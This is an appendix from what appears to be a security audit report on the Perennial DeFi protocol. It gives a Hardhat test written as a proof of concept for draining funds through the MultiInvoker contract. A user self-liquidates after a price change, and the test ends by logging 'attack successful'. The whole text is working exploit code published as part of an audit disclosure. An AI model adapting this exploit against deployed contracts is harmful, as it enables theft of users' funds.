Assessment reports>Perennial>Appendix>MultiInvoker drain POC code

MultiInvoker drain POC code

describe('Liquidate', () => {
  let instanceVars: InstanceVars

  beforeEach(async () => {
    instanceVars = await loadFixture(deployProtocol)
    await instanceVars.chainlink.reset()
  })

  it('liquidates a user', async () => {
    const POSITION = parse6decimal('10')
    const COLLATERAL = parse6decimal('1000')
    const { user, userB, userC, dsu, usdc, chainlink, marketFactory, rewardToken } = instanceVars

    const multiInvoker = await createInvoker(instanceVars)

    // The `createMarketWithRandomToken` is a helper function which creates a market that uses `rewardToken` as its underlying token
    const market = await createMarketWithRandomToken(instanceVars)

    console.log("user's USDC balance: ", (await usdc.balanceOf(user.address)))
    // approve market to spend invoker's dsu
    await multiInvoker
      .connect(user)
      .invoke([{ action: 8, args: utils.defaultAbiCoder.encode(['address'], [market.address]) }])
    await rewardToken.connect(user).approve(multiInvoker.address, COLLATERAL.mul(1e12))
    // await dsu.connect(user).approve(multiInvoker.address, COLLATERAL.mul(1e12))

    console.log("user opens a maker position in the market")
    market.connect(user).update(user.address, POSITION, 0, 0, COLLATERAL, false)

    // Settle the market with a new oracle version
    await chainlink.nextWithPriceModification(price => price.mul(1.1))

    const userBUSDCBalance = await usdc.balanceOf(userB.address)
    await expect(multiInvoker.connect(user).invoke(buildLiquidateUser({ market: market.address, user: user.address })))
      .to.emit(market, 'Updated')
      .withArgs(user.address, TIMESTAMP_2, 0, 0, 0, '-1000000000', true)
    console.log("user liquidates the position")
    console.log("user's USDC balance: ", (await usdc.balanceOf(user.address)))

    expect((await market.locals(user.address)).protection).to.eq(TIMESTAMP_2)

    expect((await market.locals(user.address)).collateral).to.equal('-1000000')
    expect((await usdc.balanceOf(userB.address)).sub(userBUSDCBalance)).to.equal(parse6decimal('1000')) 

    console.log("attack successful");
  })
})
Zellic © 2025Back to top ↑